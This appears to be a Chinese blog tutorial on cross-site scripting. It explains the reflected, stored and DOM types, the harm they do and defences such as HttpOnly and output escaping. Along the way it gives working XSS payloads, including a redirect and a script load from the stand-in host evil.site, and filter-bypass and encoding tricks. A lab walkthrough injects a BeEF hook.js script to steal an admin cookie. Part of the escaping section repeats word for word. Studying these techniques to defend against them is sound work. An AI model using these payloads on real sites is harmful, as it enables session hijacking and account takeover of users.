XSS注入(跨站脚本攻击)

一、xss跨站脚本攻击定义

​ 跨站脚本攻击(Cross Site Scripting)是指攻击者利用网站程序利用用户过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。为了与层叠样式表(Cascading Style Sheets)的缩写CSS区分开,跨站脚本攻击通常简写为XSS。

攻击者在网页中注入恶意代码,是受害者在浏览器中运行该脚本,从而达到攻击目的

xss的本质是前端代码的注入

二、xss跨站脚本攻击类型

  • 反射型xss
  • 存储型xss
  • DOM型xss

2.1反射型xss

​ 反射型XSS攻击是最常见的一种XSS攻击类型,又称为做非持久型XSS。指的是服务端应用在收到客户端的请求后,未对请求中的参数的值做合法性校验或安全过滤,直接将参数用于构造HTML页面并返回给浏览器显示,如果参数中包含恶意脚本,就会以HTML代码的形式被返回给浏览器执行。因此,这一类攻击被称为:“反射型XSS”(Reflected Xss)攻击

只要见到有交互的地方均可进行尝试

​ 通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行。它的特点是非持久化,必须用户点击特定参数的链接才能引起

2.1.1反射型xss攻击步骤
  1. 攻击者构造出特殊的URL时,其中包含恶意代码。
  2. 用户打开带有恶意代码的URL时,网站服务端将恶意代码从URL中取出,拼接在HTML中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作

在这里插入图片描述

2.1.2反射型xss攻击演示

在这里插入图片描述

在这里插入图片描述

2.2存储型xss

​ 在存储型XSS攻击中,服务端应用将攻击者提交的恶意代码存储在服务端,受害者每次访问一个“干净”的URL时,服务端就在响应页面中嵌入之前存储的恶意代码,这些恶意代码将在受害者客户端执行。由于不需要在受害者的请求中夹带恶意代码,所以这种xss攻击更加稳定危害性也更大

​ 存储型xss又称为持久型xss,是指:攻击者将xss代码发送给了后端,而后端没有对这些代码做处理直接存储在数据库中。当用户访问网站时,又直接从数据库调用出来传给前端,前端解析xss代码就造成了xss攻击。

​ 假如一个博客系统存在存储型xss漏洞,攻击者写一篇包含恶意javaScript代码的博客文章,待文章发表后,所有访问看该博客文章的用户,其浏览器都会执行这段恶意的javaScript代码。展示了存储型xss攻击的过程。存储型xss漏洞也可能出现在一些更隐蔽、影响面更大的场景中,如社交网站中的个人简介,甚至是昵称,如果网站没有相应的安全机制,就有可能产生这种类型的漏洞。

存储型xss脚本攻击最为常见的场景就是在留言板、博客或新闻发布系统中,恶意代码的数据信息直接写入文章、评论、留言中、浏览时即会执行相应的脚本代码。

2.2.1存储型xss攻击过程
  1. 攻击者将恶意代码提交到目标网站的数据库中。
  2. 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在HTML中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混入其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作

在这里插入图片描述

2.2.2存储型xss攻击演示

在这里插入图片描述

在这里插入图片描述

2.3 DOM型xss

2.3.1 什么是DOM

​ DOM是文档对象模型(Document Object Model)的缩写,它是一种用于表示和操作HTML、XML等文档的编程接口。通过DOM,Web开发人员可以使用编程语言(如JavaScript)来访问和修改文档的内容、结构和样式。

​ DOM将文档视为一个由节点组成的层次结构,其中每个节点代表文档中的一个元素、属性、文本或注释。节点之间存在父子关系、兄弟关系等,这构成了文档的层次结构。

​ 开发人员可以使用DOM提供的API来访问和操作文档中的节点,例如查找节点、添加节点、删除节点、修改节点属性、样式等。通过DOM,开发人员可以创建交互式的Web应用程序、动态地更新页面内容,从而增强用户体验。

​ 以上文字有些抽象,可以通过代码来理解,假设有以下HTML代码:

<!DOCTYPE html>
<html>
	<head>
		<title>DOM Example</title>
	</head>
	<body>
		<h1>Welcome to my website</h1>
		<p>This is a world</p>
	</body>
</html>

​ 当上述HTML代码被加载到浏览器后,浏览器会创建一个文档对象模型(DOM),用于表示文档的结构和内容。在浏览器中,这个HTML文档被解析成一个DOM树,它的结构如下:

Document
└── html
	├── head
	│ 	└── title
	│ 		└── "DOM Example"
	└── body
		├── h1
		│ 	└── "Welcome to my website"
		└── p
			└── "This is a world"

​ 在这个DOM树中,Document(即文档)是根节点,html是Document的子节点,head和body是html的子节点,以此类推。每个节点都有相应的属性和方法,开发人员可以使用这些属性和方法来访问和修改节点的内容、属性、样式等。例如,使用JavaScript代码可以获取元素的文本内容将其改为“Hello World”,如下所示:

const h1 =
document.querySelector('h1'); // 获
取 <h1> 元素节点
h1.textContent ='Hello World!'; //
修改节点文本内容

​ DOM 操作本身不是问题。事实上,它是现代网站工作方式不可或缺的一部分。但是,不安全地处理数据的 JavaScript 可能会引发各种攻击。当网站包含采用攻击者可控值(称为源–source)并将其传递到危险函数(称为接收器–sink)的 JavaScript 时,就会出现基于 DOM的漏洞。

​ 上面就简单介绍了什么是DOM,以及展示了如何使用DOM API来访问和修改文档中的节点,它可以帮助开发人员创建更加动态和交互式的Web应用程序。

什么是DOM型xss

​ DOM型XSS是非持久型XSS,且不与后台服务器产生数据交互,而是通过javascript修改网页的DOM来执行恶意脚本进行攻击。注意,DOM型XSS与反射型和存储型最大的区别在于,DOM型XSS不经过服务端,全部的攻击过程都在客户端完成。

三、XSS的危害

xss的攻击方式绝不是弹窗这么简单

  1. 网络钓鱼,包括盗取各类用户账号;
  2. 窃取用户cookie资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;
  3. 劫持用户(浏览器)会话,从而执行任意操作。例如进行非法转账、强制发表日志、发送电子邮件等;
  4. 强制弹出广告页面、刷流量等;
  5. 网页挂马;
  6. 传播跨站脚本蠕虫等。

3.1利用xss进行网络钓鱼

​ 很多论坛和即时聊天软件都有识别URL的功能,其思路基本上都是判断URL中的域名是否在已知的白名单列表中,以及阻止发送站外链接。如果一个可信的域名存在xss漏洞,可以非常简单地通过xss实现URL跳转。假设攻击者构造一个可信域名的URL在论坛或即时聊天软件中正常传播,受害者点击这个URL(比如example.com),就会跳转到恶意的网站,比如如下代码中的evil.site:

http://example.com/echo.php?name=<script>window.location='http://evil.site/';

​ 如果受害者以为自己还处在example.com,那么他输入的账号和密码等敏感数据将被攻击者的恶意网站获取。如果攻击者有较强的web前端开发能力,甚至可以实现在xss漏洞页面直接弹出一个伪造的登录框,诱骗受害者在当前页面输入账号及密码,然后将这些信息提交到攻击者预设的恶意站点。只要登录框做的逼真,这种钓鱼攻击有非常高的成功率

3.2利用xss进行蠕虫攻击

​ 以往蠕虫是利用服务端软件或系统漏洞进行传播的,比如2017年的勒索病毒WannaCry,利用的就是Windows SMB服务的漏洞。但是,2005年仅19岁的Samy Kamkar发起了对MySpace网站的xss蠕虫攻击。Samy Kamkar的蠕虫在短短几小时就感染了100万用户——它在每个用户的个人简介后加了一句话“but most of all,Samy is my hero.”(但最重要的是,Samy是我的偶像)。这是web安全史上第一个重量级的xss蠕虫

​ 我们来看一看Samy蠕虫当时都做了些什么?

​ 首先MySpace过滤了很多危险的HTML标签,只保留了<div><span><img>等安全的标签。所有的时间如“onclick”等也被过滤了。但是MySpace却允许用户控制标签的style属性。利用style属性,还是有办法构造出xss Payload的,比如:<div style="background:url('java&#x0A;script:alert(1)')"></div>,其次利用“拆分法”绕过了这些限制。

​ 最后,Samy通过AJAX构造POST请求,把自己的名字添加到其他用户的heros列表里同时复制蠕虫进行传播。至此,xss蠕虫就完成了。

3.3利用xss盗取cookie

3.3.1 XSS攻击平台之BEEF-XSS

​ 由于xss的各种Payload语句构建起来比较复杂,所以一般情况下都是使用xss平台自动生成的payload去获取相关的cookie。

​ Beef是浏览器开发框架的缩写,它是一款专注于网络浏览器的渗透测试工具,随着越来越流行针对客户端(包括移动客户端)的网络攻击,Beef允许专业的渗透测试人员通过使用客户端攻击向量来评估目标环境的实际安全状况。使用Beef可以在浏览器端运行恶意脚本。

在这里插入图片描述

3.3.2 kali下beef的安装

以下操作请在root权限下执行

  1. 换源,编辑/etc/apt/soureces.list,注释掉里面的内容,更换国内源

    vim etc/apt/sources.list //编辑文件
    按I把原本的前面加上'#',再把国内源粘贴进去
    deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib
    non-free	//清华源
    
  2. 更新,命令:

    apt-get update
    
  3. 下载beef,命令:

    apt-get install beef-xss
    apt-get install ruby
    
  4. 开启beef,首次运行需重置密码命令:

    beef-xss
    

    在这里插入图片描述

3.3.3 beef平台攻击载荷

​ 在开启beef-xss后,会开启本地3000端口,通过浏览器访问http://127.0.0.1:3000/ui/panel,输入账号密码后,进入工具的web管理界面。另外,工具会生成恶意javaScript文件:“hook.js”,通过在页面中存在xss漏洞的地方注入该文件,可以达到控制对方浏览器的目的。

beef工具主要的利用核心为 Commands(指令)

Commands主要模块

Broser:主要是针对浏览器的一些信息收集或攻击,其下的子选项Hooked Domain主要是获取HTTP属性值,比如cookie、表单值等,还可以做些简单的浏览器操作,比如替换href值,弹出警告框,重定向浏览器等。这个选项卡下的有些模块会根据受害者的浏览器来决定是否显示。主要是浏览器通用操作和其他基本信息检测。
Chrome extensions:主要是针对谷歌浏览器扩展插件
Debug:调试功能
Exploits:漏洞利用,主要利用一些已公开的漏洞进行攻击测试
Host:针对主机,比如检测主机的浏览器、系统信息、ip地址、安装软件等等
IPEC:协议间通信。主要是用来连接,控制受害者浏览器的
Metasploit:Beef可通过配置和metasploit平台联合,一旦有受害者出现,可通过信息收集确定是否存在漏洞,进一步方便metasploit攻击测试
Misc:杂项
Network:网络扫描
Persistence:维护受害者访问
Phonegap:手机测试
Social engineering:社会工程学攻击

Commands模块颜色

在这里插入图片描述

绿色:表示模块适合目标浏览器,并且执行结果对客户端不可见
橙色:模块可用,但结果对用户可见(CAM弹窗申请权限)
灰色:模块未在目标浏览器上测试过
红色:表示模块不适用于当前用户,有些红色模块也可以正常执行
3.3.4实验设计

​ **攻击机:**kali ip:192.168.56.129

​ **靶机:**windows 10 ip:192.168.56.131

  1. 在靶机中通过phpstudy搭建efucms靶场,已知该靶场后台登录目录为admin.php,默认管理员账号密码均为admin(该靶场存在反射型xss和存储型xss)

    将config.php文件中的DB_PWD和DB_USER修改成对应的内容,并根据'DB_NAME'= >'efucms',登录phpMyAdmin,创建新数据库,新数据库名字为efucms,必须保持一致,然后将efucms.sql文件导入数据库
    

    在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

  1. 找到靶场中存储型xss的漏洞点测试前,先在输入框中输入特殊字符< > ’ "等等,测试有无过滤,不能一开始就是用<script>等标签

    1. 搜索框存在反射型XSS,是非持久型xss
      在这里插入图片描述

    在这里插入图片描述

    1. 选择任意连接,下拉发现留言板,测试后发现存储型xss,也是持久型xss

      在这里插入图片描述
      在这里插入图片描述

  2. 通过注入恶意javaScript文件,获取管理员cookie信息

    1. 启动beef-xss

      在kali中输入
      beef-xss
      

      在这里插入图片描述

    2. 使用ifconfig查询kali的ip地址

      在这里插入图片描述

      将<script src="http://127.0.0.1:3000/hook.js"></script>中的127.0.0.1替换成kali的ip地址
      <script src="http://192.168.56.129:3000/hook.js"></script>
      
    3. <script src="http://192.168.56.129:3000/hook.js"></script>这段恶意代码插入到留言框里,形成持久型xss注入,当管理员再次访问留言内容时将被获取权限,从而得到管理员cookie

      在这里插入图片描述

    在这里插入图片描述

  3. 通过获取到的管理员cookie,控制网址后台

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

    根据browers:window.uri得知到获取到的cookie属于http://192.168.56.131/efucms-master/efucms-master/admin.php/comment/index这个页面

​ 在BurpSuite中访问http://192.168.56.131/efucms-master/efucms-master/admin.php/comment/index这个页面,并开启拦截,将拦截到信息发送到Repeater并输入对应的cookie

在这里插入图片描述

在这里插入图片描述

从而成功登录管理员后台

四、xss的攻击技巧

​ 在实际环境中,并不是在所有场景下都可以直接嵌入标签的,xss漏洞的利用技巧比较复杂。下面介绍一些常见的xss攻击技巧,它们也是在设计网站安全方案时需要注意的地方。

4.1基本的变形

4.1.1大小写变换

​ 最简单的变形方式是更改字母的大小写。HTML标签是大小写不敏感的,因此以下都是语法正确的Payload:

<sCrIpT>alert(document.domain)</ScRIpT>
<sCrIpT SrC="//evil.site/evil.js"></SCRIpT>
4.1.2空白字符绕过

​ 如果应用中的安全过滤函数只是简答地检测输入参数中有没有特征,则可以通过填充空白字符(空格、制表符、换行)来绕过检测:

<script
>alert(document.domain)</script>
4.1.3双写绕过

有的安全过滤函数只是将"等字符串删掉,如果提交如下Payload,经过”安全过滤函数“处理一次后即可还原成有效的Payload:

<scr<script>ipt>alert(document.domain)</scrscriptipt>

4.2 js事件处理程序

​ 很多HTML节点都可以绑定事件处理程序,比如前面提到的标签,指定一个错误或不存在的src属性,载入图像失败时就会触发onerror事件:

<img src="0" onerror="alert(document.cookie);">

类似的事件还有非常多,如onload、onmouseover、onfocus等,以下是一些例子

<object onerror=alert(document.domain)>
<input onfocus=alert (document.domain)>
<video src=0 onerror=alert(document.domain)>
<svg onload=alert(document.domain)>

构造不同的HTML标签并尝试使用不同的事件处理程序,可以绕过一些过滤不严格的安全防御机制

4.3 javaScript伪协议

​ 浏览器可以接受内联的javaScript代码作为URL,所以在需要指定URL的标签属性中,可以尝试构造一个javaScript伪协议和URL来执行javaScript代码,比如下面的标签(不同的浏览器存在差异,以下攻击代码不一定适用于所有浏览器):

<a href=javascript:alert(1)>Click Me</a>
<iframe src=javascript:alert(2)></iframe>
<form action=javascript:alert(3)>
<object data=javascript:alert(4)>
<button formaction=javascript;alert(5)>Click Me</button>

一些安全功能会过滤掉javaScript伪协议,不过可以尝试在关键词中插入空白字符绕过检测

<a href=“java&#13script&#9:alert(docement.cookie)”>click me</a>

4.4编码绕过

4.4.1 html编码概述

​ 通常一个网页中可解析的总共有三种编码,每种编码都能用来代替表示字符,按解析顺序依次是“html实体编码”“urlcode码”“unicode码”,在执行过程中会在HTML环境下先解析“html实体编码”和“urlcode码”,然后查看有无js环境并解析其中的unicode编码,对于三者的理解都有助于我们绕过限制正则,实行渗透

4.4.2实体编码

​ HTML实体是一段以’&#‘开头、加上ASCII码居中,以分号’;'结尾的文本,如:“ ; ”实体常常用于显示保留字符,和不可见的字符,作为HTML环境第一次解析的编码,这些字符可能还会进一步被解析wieldurlcode、js代码,以下是ASCII码对照表

在这里插入图片描述

以下是几个举例格式

在这里插入图片描述

编码可用10进制表示,也可使用16进制表示如:1和1均表示1;

4.4.3urlcode编码

​ urlcode编码同样是对ASCII码的运用,但使用的ASCII码为16进制,且格式为’%'+ASCII码的形式。同时它也是URL中使用的解析编码,如此处的%27就在URL中表示单引号

在这里插入图片描述

4.4.4 unicode码

​ unicode码是指万国码,几乎涵盖了所有的文字与字符,utf-8也是其中一种,特指可变长的unicode编码,它的前127位于ASCII码完全相同,其编码规则如下:

在这里插入图片描述

​ 第一个字节的第一位是0,则说明这个字节对应一个字符;如果一个字节的第一位是1,那么连续有多少个1,就表示该字符占用多少个字节。

​ “汉”的 Unicode 码点是 0x6c49(110 1100 0100 1001),对照表可知0x0000 6c49 表示字节为3,也就是第三行的 1110xxxx 10xxxxxx 10xxxxxx格式,从“汉”的二进制数最后一位开始,从后向前依次填充对应格式中的 x,多出的 x 则补0,,“汉”的编码可得为 11100110 10110001 10001001,转换成十六进制就是0xE6 0xB7 0x89。

​ 在网页中只有JavaScript环境才能识别Unicode编码,且格式为\u+16进制码,如\u0061就表示a

​ 值得注意的是尽管Unicode能表示几乎所有字符,但在JavaScript环境下并不能解码任何符号和数字

4.4.5解码实例

以下是一段简单的a标签,其中存在一段HTML实体编码

<a
href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x
35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;
&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x
33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;
&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x
35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;
&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x
33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;">测试</a>

按执行流程会先将其解码为:

<a
href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%
30%37%32%5c%75%30%30%37%34(15)">测试</a>

接着它会继续扫描是否存在URLcode码,然后继续解析,得到:

<a href="javascript:\u0061\u006c\u0065\u0072\u0074(15)">测试</a>

最后进入javaScript环境继续解析为:

<a href="javascript:alert(15)">测试</a>

​ 网页的不同位置支持不同的编码方式,如在HTML标签的属中可以使用HTML实体编码的字符。浏览器也可以兼容不标准的编码方式,如缺少分号的数字实体编码。下面几行Payload的效果是完全一样的:

<img src=x onerror="alert(1)">
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
<img src-x onerror="&#00097&#00108&#00101&#00114&#00116&#0040&#0049&#0041">
<img src=x onerror="&#x61&#x6c&#x65&#x72&#x7&#x28&#x31&#x29">

如果服务端过滤了javaScript代码特征,可以将关键的代码用Unicode编码,以此绕过检测如:

<script>\u0061lert(1)</script>

如果把 Payload 放在 HTML 标签中,还可以将 Unicode 编码和 HTML 实体编码叠加使用

<img src=0 onerror="&#92u0061lert(1)">

如果Payload是通过javaScript伪协议的URL插入的,然后又将它用在HTML标签中,这时对原始的javaScript代码可以先做Unicode编码,再做URL编码,然后做HTML实体编码。所以,下面4个Payload是效果一样的

<a href="javascript:alert(document.domain)">click me</a>
<a href="javascript:\u0061lert(document.damain)">click me</a>
<a href="javascript:%5cu0061lert(document.domain)">click me</a>
<a href="javascript:&#37;5cu0061lert(document.domain)">click me</a>

从这个案例可以看到,根据数据所处的位置可以使用不同的编码,如果数据在语义上嵌套了多层,就可以使用多层编码来尝试绕过检测。WAF类的安全产品很难支持不同场景的嵌套解码

4.5 绕过方法总结

https://blog.csdn.net/qq_50854790/article/details/124297046

五、XSS防御

5.1 设置httponly

​ Cookie的HttpOnly属性,其作用是让客户端javaScript代码不能读取Cookie,但是在HTTP请求中还是会正常发送Cookie,这就保证了存在xss漏洞时也不会泄露Cookie。HttpOnly属性早就成了标准,现代浏览器和web开发语言都支持这个特性,所以强烈建议在web应用中对会话Cookie设置这个属性,这一简单的设置可以在很大程度上减少会话Cookie被劫持的问题

​ PHP在配置文件中可以简单地开启会话Cookie的HttpOnly属性:session。cookie httponly=On如果开发框架不支持直接配置HttpOnly属性,或者应用中又其他Cookie也需要保护,可以在服务端响应的Set-Cookie头中设置其HttpOnly属性。HttpOnly解决的问题很明确,保护Cookie不被javaScript读取,防止会话劫持。但是在xss攻击中恶意脚本能做的事非常多,从窃取用户信息到模拟用户发送HTTP请求,这些操作都不需要知道用户的Cookie,所以防御xss攻击决不能仅依赖Cookie的HttpOnly属性,还需要其他能真正解决xss漏洞的方案

5.2输入过滤

​ 对于常见的web安全漏洞,如 XSS、SQL 注入等,攻击者都会构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以有必要检查和过滤输入的参数(输入过滤)。

​ 输入过滤在很多时候也被用于检查格式。例如,用户在网站上注册,填写用户名时,会被要求用户名只能为字母与数字的组合。比如“hello1234”是一个合法的用户名,而“hello#s^”就是一个非法的用户名。这些格式检查有点像“白名单”,也可以让一些基于特殊字符的攻击失效

输入过滤的逻辑必须放在服务端代码中实现。如果只是在客户端通过 JavaScript 代码对输入进行检查,是很容易被攻击者绕过的。目前 Web 开发中的普遍做法,是同时在客户端JavaScript代码和服务端代码中实现相同的输入检查。客户端 JavaScript 代码所做的输入检查,可以阻挡大部分用户的错误输入

​ 在 XSS 防御中,输入过滤一般是检查用户输入的数据中是否包含一些特殊字符,如< >’ ”等。如果发现存在特殊字符,则过滤掉这些字符或者对其编码。比较智能的“输入过滤”可能还会匹配XSS 的特征,比如查找用户数据中是否包含“” “javascript”等敏感字符

​ 这种过滤输入的方式,可以称为“XSS Filter”。XSS Filter 在用户提交数据时获取变量,并进行XSS 检查,但此时用户数据并没有与染页面的 HTML代码结合,因此XSS Filter 对语境的理解并不完整。比如:

<script src=“$var” ></script>

​ 其中“$var”是用户可以控制的变量。用户只需要提交一个恶意脚本所在的 URL 地址,即可实施 XSS 攻击。如果是一个全局性的 XSS Fiter,则无法看到用户数据的输出语境,只能看到用户提交了一个 URL,就很可能会漏报,因为在大多数情况下,URL 是一种合法的数据。

​ XSS Filter 还有一个问题,如果只是简单地对< >‘ “等字符过滤,可能会改变用户数据的语义。比如,在很多技术交流的网站上,用户会提交代码,该 XSSFilter 粗暴地过滤掉特殊字符,用户提交的代码多处都被破坏了

5.3输出转义

​ 既然参数在输入时做全局过滤和转义存在各种问题,那么就应该在输出变量时根据不同的场景有针对性地编码或转义。

​ 最常见的变量输出场景是该变量用于构造 HTML 页面,这里分两种情况:一种是变量作为HTML 标签的属性值,另一种是变量作为标签的内容。

变量作为属性值

<input name="name" value="$value">

变量作为标签内容

<p>$value</p>

当变量作为属性值时,我们很容易想到,双引号必须转义,否则变量里含有双引号会将属性提前闭合。假设$value 的值如下:

” onclick="alert(1)

前面的input标签就会变成如下内容:

<input name="name" value="" onclick="alert(1)">

这就通过事件属性引入了javaScript。另外,单引号也需要转义,因为属性值用单引号包围也是合法的

当变量作为标签内容时,我们必须让变量以文本形式显示,而不是引入其他HTML标签假设$value的值,如下:

<script>alert(1)</script>

当它被作为标签内容时其实是嵌入了新的标签,引入并执行了javaScript代码

<p><script>alert(1)</script></p>

所以,“<”和“>”字符需要转义,这样就不会产生新标签了。因为 HTML 转义是将字符转换成“&xx;”的形式,如双引号转义成

​ “&q uot;”,但是如果变量的原始内容就包含了“&qu ot;”这 6个字符,那么输出到 HTML 页面上时,这6个字符将显示成双引号,内容发生了变化,这不是我们想看到的结果,所以“&”字符也需要转义,以避免这个问题。

另一个非常常见的场景是将变量输出到标签的代码中,比如:

<script>var name = '$v';</script>

很容易看出来,如果变量$v 中存在单引号,就可以提前闭合字符串,然后注入新的代码。

假设$v 变量的值如下

’;alert(1);//

前面的JavaScript代码将变成

<script>var name = ‘’;alert(1);//';</script>

这样就注入了 JavaScript 代码,后面的注释符是为了"吃"单引号以保证语法的正确性而加的

在 JavaScript 字符串变量中,双引号和单引号需要通过反斜杠“\ ”来转义。转义后,上面的代码变成:

<script>
var name = ‘\’;alert(1);//’;
</script>

单引号没有提前闭合,攻击就失效了。但是如果仅仅转义了双引号和单引号,还是会存在绕过。

当$v 为如下值时:

\’;alert(1);//

输出的 JavaScript代码将变成:

<script>
var name = ‘\\';alert(1);//’;
</script>

其中第一个“\”是$v 参数提交的,第二个“\”是过滤代码产生的,前一个“\”将第二个“\”转义了,单引号还是提前闭合,代码注入成功。所以,用来转义的反斜杠本身也是需要转义的
很容易看出来,如果变量$v 中存在单引号,就可以提前闭合字符串,然后注入新的代码。

假设$v 变量的值如下

’;alert(1);//

前面的JavaScript代码将变成

<script>var name = ‘’;alert(1);//';</script>

这样就注入了 JavaScript 代码,后面的注释符是为了"吃"单引号以保证语法的正确性而加的

在 JavaScript 字符串变量中,双引号和单引号需要通过反斜杠“\ ”来转义。转义后,上面的代码变成:

<script>
var name = ‘\’;alert(1);//’;
</script>

单引号没有提前闭合,攻击就失效了。但是如果仅仅转义了双引号和单引号,还是会存在绕过。

当$v 为如下值时:

\’;alert(1);//

输出的 JavaScript代码将变成:

<script>
var name = ‘\\';alert(1);//’;
</script>

其中第一个“\”是$v 参数提交的,第二个“\”是过滤代码产生的,前一个“\”将第二个“\”转义了,单引号还是提前闭合,代码注入成功。所以,用来转义的反斜杠本身也是需要转义的

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐